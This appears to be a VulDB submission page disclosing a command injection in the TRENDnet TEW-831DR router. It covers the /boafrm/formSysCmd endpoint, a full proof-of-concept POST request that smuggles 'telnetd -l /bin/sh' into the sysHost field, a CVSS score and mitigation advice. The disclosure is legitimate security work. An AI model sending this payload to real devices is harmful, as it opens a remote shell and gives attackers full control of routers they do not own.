Отправить #636833: TRENDnet AC1200 Dual Band WiFi Router, model TEW-831DR Latest v1.0 (601.130.1.1410) Remote Code Execution

Technical Description
Through our investigation, we have found out that there is command injection vulnerability in the function of
“/boafrm/formSysCmd” from the page “/syscmd.htm”. By injecting the parameter “sysHost” in the POST request
of “/boafrm/formSysCmd”, we could inject arbitrary command line
For example, we could inject network utilities or telnet to the “sysHost” parameter –
sysHost=127.0.0.1&&telnetd+-l+/bin/sh+%23
This input appears to be directly passed to a system command shell without sanitization, allowing an attacker to
terminate the intended command and inject arbitrary shell commands using &&.
Proof of concept
After we authenticated the device and got the CSRF token, send the POST request below (the request is initiated
from the page of syscmd.htm)
POST /boafrm/formSysCmd HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46Y2R6azEyMTI=
Connection: close
Referer: http://192.168.10.1/syscmd.htm
Upgrade-Insecure-Requests: 1
Priority: u=0, i
submit-url=%2Fsyscmd.htm&sysCmd=ping&sysMagic=&sysCmdType=ping&checkNum=2&sysHost=127.0.0.1%26
%26telnetd+-l+/bin/sh+%23&apply=Apply&msg=&csrftoken=b77ad408286a6b9d72ffdad2bc18981e
Impact
This Command Line injection / Remote Code Execution vulnerability allows malicious actors to execute arbitrary
code in OS level , lead to full system compromise. The attackers can spawn backdoor shells, exfiltrate sensitive
data and pivot to internal networks potentially.
The security risk of product disruption with user privilege is estimated as High,
CVSS:3.x: 8.8 - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Mitigation
1. Validate Input - Only allow safe hostnames or IP addresses for sysHost using regex
2. Use chroot or sandboxing to contain command execution if absolutely necessary.

• Источник: ⚠️ https://github.com/Darklab-limited/TRENDnet-AC1200-RCE/blob/main/TRENDnet%20Post-auth%20RCE.pdf
• Пользователь: Darklab.Limited (UID 89162)
• Представление: 18.08.2025 17:00 (10 месяцы назад)
• Модерация: 09.09.2025 16:01 (22 days later)
• Статус: принято
• Запись VulDB: 323208 [TRENDnet TEW-831DR 1.0 (601.130.1.1410) /boafrm/formSysCmd sysHost эскалация привилегий]
• Баллы: 20